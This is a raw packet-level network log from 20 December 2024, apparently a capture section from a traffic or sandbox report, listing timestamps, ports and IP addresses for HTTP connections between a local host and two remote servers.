Dec 20, 2024 04:12:48.351538897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.351579905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.351634979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.351675987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.352672100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.352720022 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.352771997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.352813959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.353764057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.353816032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.353882074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.353926897 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.354842901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.354891062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.354943991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.354986906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.355952978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.356000900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.356041908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.356085062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.357068062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.357114077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.357161999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.357206106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.358170986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.358220100 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.358274937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.358319044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.359328032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.359369993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.359371901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.359410048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.360383987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.360426903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.360487938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.360529900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.361485004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.361530066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.361596107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.361638069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.362588882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.362633944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.362690926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.362734079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.363701105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.363746881 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.363801003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.363843918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.364737988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.364782095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.482980013 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.498816013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.498931885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.499399900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.499485016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.499507904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.500469923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.500577927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.500631094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.501591921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.501693010 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.501740932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.502724886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.502899885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.503799915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.503848076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.503878117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.504918098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.505014896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.505063057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.506016970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.506131887 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.507121086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.507168055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.507244110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.508218050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.508265018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.508330107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.509329081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.509449959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.509496927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.510437965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.510556936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.511549950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.511598110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.511688948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.512665987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.512712955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.512761116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.513782024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.513911009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.513958931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.514873028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.514986992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.515029907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.515964985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.516073942 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.516119957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.517082930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.517209053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.517255068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.518238068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.518517971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.519296885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.519340038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.519411087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.520404100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.520445108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.520575047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.521507978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.521553993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.521605015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.521986008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.522618055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.522681952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.523711920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.523761034 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.523889065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.524830103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.524947882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.524995089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.525949001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.526051998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.527046919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.527092934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.527157068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.528132915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.528177977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.528258085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.529316902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.529369116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.529433966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.529474020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.530359983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.530407906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.531455994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.531505108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.531563997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.532572031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.532671928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.532718897 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.533664942 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.533777952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.533823967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.534784079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.534861088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.535900116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.535962105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.536031961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.537019968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.537066936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.537167072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.537985086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.538100958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.538223982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.539249897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.539298058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.539339066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.540327072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.540429115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.540474892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.541416883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.541523933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.541564941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.542538881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.542633057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.543627977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.543674946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.543725014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.544725895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.544769049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.544816971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.545847893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.545888901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.545959949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.546947956 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.547048092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.547091007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.548059940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.548173904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.548218012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.549145937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.549263954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.549305916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.550249100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.550369978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.551367998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.551415920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.551673889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.552485943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.552529097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.552592993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.553600073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.553647041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.553694963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.553982973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.554713011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.554827929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.555778027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.555823088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.555860996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.556859016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.557985067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.602536917 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.606038094 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.606885910 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.691145897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.691198111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.691237926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.691603899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.691651106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.691734076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.692687988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.692734957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.692785025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.692842960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.693769932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.693893909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.693934917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.695030928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.695070028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.695147991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.695574045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.696021080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.696063042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.696139097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.696506023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.697128057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.697297096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.697343111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.698206902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.698326111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.699325085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.699395895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.699418068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.700345039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.700417042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.700568914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.700608969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.701539993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.701653957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.701703072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.702646017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.702739954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.702769041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.702801943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.703731060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.703839064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.704034090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.704834938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.704960108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.705020905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.705951929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.705996037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.706057072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.706103086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.707078934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.707128048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.707191944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.707674980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.708165884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.708250046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.709310055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.709364891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.709410906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.709979057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.710385084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.710470915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.710897923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.711518049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.711608887 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.711819887 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.712587118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.712632895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.712680101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.713215113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.713692904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.713799000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.713804960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.713980913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.714808941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.714852095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.714901924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.715931892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.715986013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.716016054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.716087103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.717053890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.717109919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.717168093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.717283010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.718133926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.718189001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.718240023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.719222069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.719301939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.720343113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.720418930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.720451117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.721436977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.721487045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.721496105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.721987963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.722563982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.722688913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.722790956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.723685026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.723742962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.723901033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.724016905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.724766016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.724819899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.724874973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.725390911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.725879908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.725989103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.725994110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.726380110 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726430893 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726440907 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726490974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.726604939 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726633072 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726640940 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.726716042 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.726758003 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726871014 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.726903915 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726912975 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726921082 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.726960897 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.726978064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.726990938 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.727020025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.727041006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.727050066 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:48.727082968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.727300882 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:48.728087902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.728140116 CET	49875	80	192.168.2.4	31.41.244.11
